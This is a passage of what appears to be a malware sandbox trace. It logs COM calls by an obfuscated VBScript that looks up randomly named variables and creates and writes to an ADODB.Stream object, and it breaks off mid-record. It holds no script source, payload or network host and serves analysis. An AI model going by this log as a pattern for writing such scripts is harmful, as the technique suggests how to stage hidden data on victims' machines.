DOMDocument:IUnknown:QueryInterface (in: This=0x5546e0, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154830 | out: ppvObject=0x154830*=0x5546e0) returned 0x0 [0087.895] DOMDocument:IDispatchEx:InvokeEx (in: This=0x5546e0, id=25, lcid=0x409, wFlags=0x3, pdp=0x1547fc*(rgvarg=0x0, rgdispidNamedArgs=0x0, cArgs=0x0, cNamedArgs=0x0), pVarRes=0x83d6718, pei=0x1547d8, pspCaller=0x846d2a8 | out: pdp=0x1547fc*(rgvarg=0x0, rgdispidNamedArgs=0x0, cArgs=0x0, cNamedArgs=0x0), pVarRes=0x83d6718*(varType=0x2011, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x6b07b58*(cDims=0x1, fFeatures=0x80, cbElements=0x1, cLocks=0x0, pvData=0x6d04000*, rgsabound=((cElements=0x20, lLbound=0))), varVal2=0x0), pei=0x1547d8*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0)) returned 0x0 [0087.895] DOMDocument:IUnknown:Release (This=0x5546e0) returned 0x2 [0087.895] DOMDocument:IUnknown:Release (This=0x5546e0) returned 0x1 [0087.896] IUnknown:AddRef (This=0x11977a8) returned 0x8 [0087.896] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154520 | out: ppvObject=0x154520*=0x11977a8) returned 0x0 [0087.896] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="lfkfdiooie", grfdex=0x8, pid=0x15453c | out: pid=0x15453c*=1394072) returned 0x80020006 [0087.896] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="lfkfdiooie", grfdex=0x8, pid=0x154494 | out: pid=0x154494*=-1) returned 0x80020006 [0087.896] GetCurrentThreadId () returned 0xd44 [0087.896] IUnknown:Release (This=0x11977a8) returned 0x8 [0087.896] ??2@YAPAXI@Z () returned 0x11c2248 [0087.896] LCMapStringW (in: Locale=0x409, dwMapFlags=0x100, lpSrcStr="utf-8", cchSrc=5, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 5 [0087.896] LCMapStringW (in: Locale=0x409, dwMapFlags=0x100, lpSrcStr="utf-8", cchSrc=5, lpDestStr=0x6d03ec4, cchDest=5 | out: lpDestStr="utf-8") returned 5 [0087.896] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154520 | out: ppvObject=0x154520*=0x11977a8) returned 0x0 [0087.897] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="vgct783hth", grfdex=0x8, pid=0x15453c | out: pid=0x15453c*=1394072) returned 0x80020006 [0087.897] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="vgct783hth", grfdex=0x8, pid=0x154494 | out: pid=0x154494*=-1) returned 0x80020006 [0087.897] GetCurrentThreadId () returned 0xd44 [0087.897] IUnknown:Release (This=0x11977a8) returned 0x8 [0087.897] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154520 | out: ppvObject=0x154520*=0x11977a8) returned 0x0 [0087.897] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="piiing", grfdex=0x8, pid=0x15453c | out: pid=0x15453c*=1394072) returned 0x80020006 [0087.897] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="piiing", grfdex=0x8, pid=0x154494 | out: pid=0x154494*=-1) returned 0x80020006 [0087.897] GetCurrentThreadId () returned 0xd44 [0087.897] IUnknown:Release (This=0x11977a8) returned 0x8 [0087.897] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154520 | out: ppvObject=0x154520*=0x11977a8) returned 0x0 [0087.897] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="ldiwuywfj", grfdex=0x8, pid=0x15453c | out: pid=0x15453c*=1394072) returned 0x80020006 [0087.897] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="ldiwuywfj", grfdex=0x8, pid=0x154494 | out: pid=0x154494*=-1) returned 0x80020006 [0087.897] GetCurrentThreadId () returned 0xd44 [0087.898] IUnknown:Release (This=0x11977a8) returned 0x8 [0087.898] malloc (_Size=0x204) returned 0x844c5d0 [0087.898] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154520 | out: ppvObject=0x154520*=0x11977a8) returned 0x0 [0087.898] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="lsvosfouwoupwiot", grfdex=0x8, pid=0x15453c | out: pid=0x15453c*=1394072) returned 0x80020006 [0087.898] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="lsvosfouwoupwiot", grfdex=0x8, pid=0x154494 | out: pid=0x154494*=-1) returned 0x80020006 [0087.898] GetCurrentThreadId () returned 0xd44 [0087.898] IUnknown:Release (This=0x11977a8) returned 0x8 [0087.899] ??2@YAPAXI@Z () returned 0x86bff10 [0087.899] malloc (_Size=0x804) returned 0x83fc220 [0087.899] IUnknown:AddRef (This=0x11977a8) returned 0x9 [0087.899] _wcsicmp (_String1="aaax", _String2="BytesToStr") returned -1 [0087.899] CLSIDFromProgIDEx (in: lpszProgID="ADODB.Stream", lpclsid=0x154268 | out: lpclsid=0x154268*(Data1=0x566, Data2=0x0, Data3=0x10, Data4=([0]=0x80, [1]=0x0, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x6d, [6]=0x2e, [7]=0xa4))) returned 0x0 [0087.899] SysStringLen (param_1=0x0) returned 0x0 [0087.899] CoGetClassObject (in: rclsid=0x154268*(Data1=0x566, Data2=0x0, Data3=0x10, Data4=([0]=0x80, [1]=0x0, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x6d, [6]=0x2e, [7]=0xa4)), dwClsContext=0x15, pvReserved=0x0, riid=0x66894174*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x154258 | out: ppv=0x154258*=0x962b2d0) returned 0x0 [0087.900] Stream:IUnknown:QueryInterface (in: This=0x962b2d0, riid=0x668a1100*(Data1=0x342d1ea0, Data2=0xae25, Data3=0x11d1, Data4=([0]=0x89, [1]=0xc5, [2]=0x0, [3]=0x60, [4]=0x8, [5]=0xc3, [6]=0xfb, [7]=0xfc)), ppvObject=0x154254 | out: ppvObject=0x154254*=0x0) returned 0x80004002 [0087.900] Stream:IClassFactory:CreateInstance (in: This=0x962b2d0, pUnkOuter=0x0, riid=0x668940a0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x15425c | out: ppvObject=0x15425c*=0x962b320) returned 0x0 [0087.900] Stream:IUnknown:Release (This=0x962b2d0) returned 0x1 [0087.900] Stream:IUnknown:QueryInterface (in: This=0x962b320, riid=0x668a0580*(Data1=0xfc4801a3, Data2=0x2ba9, Data3=0x11cf, Data4=([0]=0xa2, [1]=0x29, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x3d, [6]=0x73, [7]=0x52)), ppvObject=0x154220 | out: ppvObject=0x154220*=0x962b350) returned 0x0 [0087.900] ??2@YAPAXI@Z () returned 0x1112950 [0087.900] Stream:IObjectWithSite:SetSite (This=0x962b350, pUnkSite=0x1112950) returned 0x0 [0087.900] DOMDocument:IUnknown:QueryInterface (in: This=0x1112950, riid=0x764097c4*(Data1=0x1b, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x154168 | out: ppvObject=0x154168*=0x0) returned 0x80004002 [0087.900] DOMDocument:IUnknown:QueryInterface (in: This=0x1112950, riid=0x76413e0c*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x154158 | out: ppvObject=0x154158*=0x0) returned 0x80004002 [0087.900] DOMDocument:IUnknown:AddRef (This=0x1112950) returned 0x2 [0087.900] DOMDocument:IUnknown:QueryInterface (in: This=0x1112950, riid=0x66853000*(Data1=0x118, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1541b8 | out: ppvObject=0x1541b8*=0x0) returned 0x80004002 [0087.900] DOMDocument:IUnknown:QueryInterface (in: This=0x1112950, riid=0x667d1c68*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0x1541b4 | out: ppvObject=0x1541b4*=0x1112950) returned 0x0 [0087.900] DOMDocument:IServiceProvider:QueryService (in: This=0x1112950, guidService=0x667d1c58*(Data1=0xb722be00, Data2=0x4e68, Data3=0x101b, Data4=([0]=0xa2, [1]=0xbc, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x40, [6]=0x47, [7]=0x70)), riid=0x66852ff0*(Data1=0x332c4425, Data2=0x26cb, Data3=0x11d0, Data4=([0]=0xb4, [1]=0x83, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xd9, [6]=0x1, [7]=0x19)), ppvObject=0x1541dc | out: ppvObject=0x1541dc*=0x0) returned 0x80004002 [0087.900] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd368, riid=0x668940a0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x154190 | out: ppvObject=0x154190*=0x83fd368) returned 0x0 [0087.900] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd368, riid=0x6689ff2c*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0x15418c | out: ppvObject=0x15418c*=0x83fd378) returned 0x0 [0087.901] VBScriptEngine5:IServiceProvider:QueryService (in: This=0x83fd378, guidService=0x667d1c58*(Data1=0xb722be00, Data2=0x4e68, Data3=0x101b, Data4=([0]=0xa2, [1]=0xbc, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x40, [6]=0x47, [7]=0x70)), riid=0x66852ff0*(Data1=0x332c4425, Data2=0x26cb, Data3=0x11d0, Data4=([0]=0xb4, [1]=0x83, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xd9, [6]=0x1, [7]=0x19)), ppvObject=0x1541dc | out: ppvObject=0x1541dc*=0x0) returned 0x80004002 [0087.901] VBScriptEngine5:IUnknown:Release (This=0x83fd368) returned 0x6 [0087.901] VBScriptEngine5:IUnknown:Release (This=0x83fd378) returned 0x5 [0087.901] DOMDocument:IUnknown:Release (This=0x1112950) returned 0x2 [0087.901] DOMDocument:IUnknown:QueryInterface (in: This=0x1112950, riid=0x667d1c68*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0x1541bc | out: ppvObject=0x1541bc*=0x1112950) returned 0x0 [0087.901] DOMDocument:IServiceProvider:QueryService (in: This=0x1112950, guidService=0x668531b0*(Data1=0xfc4801a1, Data2=0x2ba9, Data3=0x11cf, Data4=([0]=0xa2, [1]=0x29, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x3d, [6]=0x73, [7]=0x52)), riid=0x668531b0*(Data1=0xfc4801a1, Data2=0x2ba9, Data3=0x11cf, Data4=([0]=0xa2, [1]=0x29, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x3d, [6]=0x73, [7]=0x52)), ppvObject=0x1541b0 | out: ppvObject=0x1541b0*=0x0) returned 0x80004002 [0087.901] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd368, riid=0x668940a0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x154188 | out: ppvObject=0x154188*=0x83fd368) returned 0x0 [0087.901] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd368, riid=0x6689ff2c*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0x154184 | out: ppvObject=0x154184*=0x83fd378) returned 0x0 [0087.901] VBScriptEngine5:IServiceProvider:QueryService (in: This=0x83fd378, guidService=0x668531b0*(Data1=0xfc4801a1, Data2=0x2ba9, Data3=0x11cf, Data4=([0]=0xa2, [1]=0x29, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x3d, [6]=0x73, [7]=0x52)), riid=0x668531b0*(Data1=0xfc4801a1, Data2=0x2ba9, Data3=0x11cf, Data4=([0]=0xa2, [1]=0x29, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x3d, [6]=0x73, [7]=0x52)), ppvObject=0x1541b0 | out: ppvObject=0x1541b0*=0x0) returned 0x80004002 [0087.901] VBScriptEngine5:IUnknown:Release (This=0x83fd368) returned 0x6 [0087.901] VBScriptEngine5:IUnknown:Release (This=0x83fd378) returned 0x5 [0087.901] DOMDocument:IUnknown:Release (This=0x1112950) returned 0x2 [0087.901] Stream:IUnknown:Release (This=0x962b350) returned 0x1 [0087.901] Stream:IUnknown:QueryInterface (in: This=0x962b320, riid=0x66894140*(Data1=0x20400, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x154210 | out: ppvObject=0x154210*=0x962b320) returned 0x0 [0087.901] Stream:IUnknown:AddRef (This=0x962b320) returned 0x3 [0087.902] Stream:IUnknown:Release (This=0x962b320) returned 0x2 [0087.902] Stream:IUnknown:Release (This=0x962b320) returned 0x1 [0087.902] _wcsicmp (_String1="baax", _String2="BytesToStr") returned -24 [0087.902] DOMDocument:IUnknown:Release (This=0x1112bf0) returned 0x0 [0087.902] Stream:IUnknown:AddRef (This=0x962b320) returned 0x2 [0087.902] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154520 | out: ppvObject=0x154520*=0x11977a8) returned 0x0 [0087.902] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="veiowgyuwrehteb", grfdex=0x8, pid=0x15453c | out: pid=0x15453c*=1394072) returned 0x80020006 [0087.902] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="veiowgyuwrehteb", grfdex=0x8, pid=0x154494 | out: pid=0x154494*=-1) returned 0x80020006 [0087.902] GetCurrentThreadId () returned 0xd44 [0087.902] IUnknown:Release (This=0x11977a8) returned 0x8 [0087.902] ??2@YAPAXI@Z () returned 0x86bff10 [0087.903] malloc (_Size=0x804) returned 0x83fc220 [0087.903] IUnknown:AddRef (This=0x11977a8) returned 0x9 [0087.903] _wcsicmp (_String1="baax", _String2="BytesToStr") returned -24 [0087.903] Stream:IUnknown:QueryInterface (in: This=0x962b320, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x1542f8 | out: ppvObject=0x1542f8*=0x0) returned 0x80004002 [0087.903] Stream:IDispatch:GetIDsOfNames (in: This=0x962b320, riid=0x6689190c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0x1542fc*="Type", cNames=0x1, lcid=0x409, rgDispId=0x154314 | out: rgDispId=0x154314*=4) returned 0x0 [0087.903] Stream:IUnknown:AddRef (This=0x962b320) returned 0x2 [0087.903] Stream:IUnknown:QueryInterface (in: This=0x962b320, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154300 | out: ppvObject=0x154300*=0x0) returned 0x80004002 [0087.903] Stream:IDispatch:Invoke (in: This=0x962b320, dispIdMember=4, riid=0x6689190c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x4, pDispParams=0x1542cc*(rgvarg=([0]=0x83d66a8*(varType=0x2, wReserved1=0x847, wReserved2=0x4, wReserved3=0x0, varVal1=0x11c0001, varVal2=0x470e)), rgdispidNamedArgs=([0]=0x1542c8*=-3), cArgs=0x1, cNamedArgs=0x1), pVarResult=0x0, pExcepInfo=0x1542a8, puArgErr=0x1542ec | out: pDispParams=0x1542cc*(rgvarg=([0]=0x83d66a8*(varType=0x2, wReserved1=0x847, wReserved2=0x4, wReserved3=0x0, varVal1=0x11c0001, varVal2=0x470e)), rgdispidNamedArgs=([0]=0x1542c8*=-3), cArgs=0x1, cNamedArgs=0x1), pVarResult=0x0, pExcepInfo=0x1542a8*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0x1542ec*=0x962b320) returned 0x0 [0087.903] Stream:IUnknown:Release (This=0x962b320) returned 0x1 [0087.903] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154520 | out: ppvObject=0x154520*=0x11977a8) returned 0x0 [0087.903] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="svksovosrgh", grfdex=0x8, pid=0x15453c | out: pid=0x15453c*=1394072) returned 0x80020006 [0087.903] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="svksovosrgh", grfdex=0x8, pid=0x154494 | out: pid=0x154494*=-1) returned 0x80020006 [0087.903] GetCurrentThreadId () returned 0xd44 [0087.904] IUnknown:Release (This=0x11977a8) returned 0x8 [0087.904] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154520 | out: ppvObject=0x154520*=0x11977a8) returned 0x0 [0087.904] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="dlwlksfslgslg", grfdex=0x8, pid=0x15453c | out: pid=0x15453c*=1394072) returned 0x80020006 [0087.904] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="dlwlksfslgslg", grfdex=0x8, pid=0x154494 | out: pid=0x154494*=-1) returned 0x80020006 [0087.904] GetCurrentThreadId () returned 0xd44 [0087.904] IUnknown:Release (This=0x11977a8) returned 0x8 [0087.904] ??2@YAPAXI@Z () returned 0x86bff10 [0087.904] malloc (_Size=0x804) returned 0x83fc220 [0087.904] IUnknown:AddRef (This=0x11977a8) returned 0x9 [0087.904] _wcsicmp (_String1="baax", _String2="BytesToStr") returned -24 [0087.904] Stream:IUnknown:QueryInterface (in: This=0x962b320, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x1542f8 | out: ppvObject=0x1542f8*=0x0) returned 0x80004002 [0087.904] Stream:IDispatch:GetIDsOfNames (in: This=0x962b320, riid=0x6689190c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0x1542fc*="Open", cNames=0x1, lcid=0x409, rgDispId=0x154314 | out: rgDispId=0x154314*=10) returned 0x0 [0087.904] Stream:IUnknown:AddRef (This=0x962b320) returned 0x2 [0087.905] Stream:IUnknown:QueryInterface (in: This=0x962b320, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154300 | out: ppvObject=0x154300*=0x0) returned 0x80004002 [0087.905] Stream:IDispatch:Invoke (in: This=0x962b320, dispIdMember=10, riid=0x6689190c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x1, pDispParams=0x1542cc*(rgvarg=0x83d66a8, rgdispidNamedArgs=0x0, cArgs=0x0, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0x1542a8, puArgErr=0x1542ec | out: pDispParams=0x1542cc*(rgvarg=0x83d66a8, rgdispidNamedArgs=0x0, cArgs=0x0, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0x1542a8*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0x1542ec*=0x962b320) returned 0x0 [0087.905] Stream:IUnknown:Release (This=0x962b320) returned 0x1 [0087.905] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154520 | out: ppvObject=0x154520*=0x11977a8) returned 0x0 [0087.905] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="ivrejk", grfdex=0x8, pid=0x15453c | out: pid=0x15453c*=1394072) returned 0x80020006 [0087.905] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="ivrejk", grfdex=0x8, pid=0x154494 | out: pid=0x154494*=-1) returned 0x80020006 [0087.905] GetCurrentThreadId () returned 0xd44 [0087.905] IUnknown:Release (This=0x11977a8) returned 0x8 [0087.905] malloc (_Size=0x404) returned 0x86ea2e0 [0087.906] ??2@YAPAXI@Z () returned 0x86bff10 [0087.906] malloc (_Size=0x804) returned 0x83fc220 [0087.906] IUnknown:AddRef (This=0x11977a8) returned 0x9 [0087.906] _wcsicmp (_String1="baax", _String2="BytesToStr") returned -24 [0087.906] _wcsicmp (_String1="byteArray", _String2="BytesToStr") returned -18 [0087.906] Stream:IUnknown:QueryInterface (in: This=0x962b320, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x1542f8 | out: ppvObject=0x1542f8*=0x0) returned 0x80004002 [0087.907] Stream:IDispatch:GetIDsOfNames (in: This=0x962b320, riid=0x6689190c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0x1542fc*="write", cNames=0x1, lcid=0x409, rgDispId=0x154314 | out: rgDispId=0x154314*=13) returned 0x0 [0087.907] Stream:IUnknown:AddRef (This=0x962b320) returned 0x2 [0087.907] Stream:IUnknown:QueryInterface (in: This=0x962b320, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154300 | out: ppvObject=0x154300*=0x0) returned 0x80004002 [0087.907] Stream:IDispatch:Invoke (in: This=0x962b320, dispIdMember=13, riid=0x6689190c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x1, pDispParams=0x1542cc*(rgvarg=([0]=0x83d6698*(varType=0x400c, wReserved1=0x847, wReserved2=0xd8b0, wReserved3=0x847, varVal1=0x83d6718*(varType=0x2011, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x6b07b58*(cDims=0x1, fFeatures=0x80, cbElements=0x1, cLocks=0x0, pvData=0x6d04000*, rgsabound=((cElements=0x20, lLbound=0))), varVal2=0x0), varVal2=0x847d948)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0x1542a8, puArgErr=0x1542ec | out: pDispParams=0x1542cc*(rgvarg=([0]=0x83d6698*(varType=0x400c, wReserved1=0x847, wReserved2=0xd8b0, wReserved3=0x847, varVal1=0x83d6718*(varType=0x2011, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x6b07b58*(cDims=0x1, fFeatures=0x80, cbElements=0x1, cLocks=0x0, pvData=0x6d04000*, rgsabound=((cElements=0x20, lLbound=0))), varVal2=0x0), varVal2=0x847d948)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0x1542a8*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0x1542ec*=0x962b320) returned 0x0 [0087.907] Stream:IUnknown:Release (This=0x962b320) returned 0x1 [0087.907] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154520 | out: ppvObject=0x154520*=0x11977a8) returned 0x0 [0087.907] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="kyguyejgiureu", grfdex=0x8, pid=0x15453c | out: pid=0x15453c*=1394072) returned 0x80020006 [0087.907] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="kyguyejgiureu", grfdex=0x8, pid=0x154494 | out: pid=0x154494*=-1) returned 0x80020006 [0087.907] GetCurrentThreadId () returned 0xd44 [0087.908] IUnknown:Release (This=0x11977a8) returned 0x8 [0087.908] ??2@YAPAXI@Z () returned 0x86bff10 [0087.908] malloc (_Size=0x804) returned 0x83fc220 [0087.908] IUnknown:AddRef (This=0x11977a8) returned 0x9 [0087.908] _wcsicmp (_String1="baax", _String2="BytesToStr") returned -24 [0087.908] Stream:IUnknown:QueryInterface (in: This=0x962b320, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x1542f8 | out: ppvObject=0x1542f8*=0x0) returned 0x80004002 [0087.908] Stream:IDispatch:GetIDsOfNames (in: 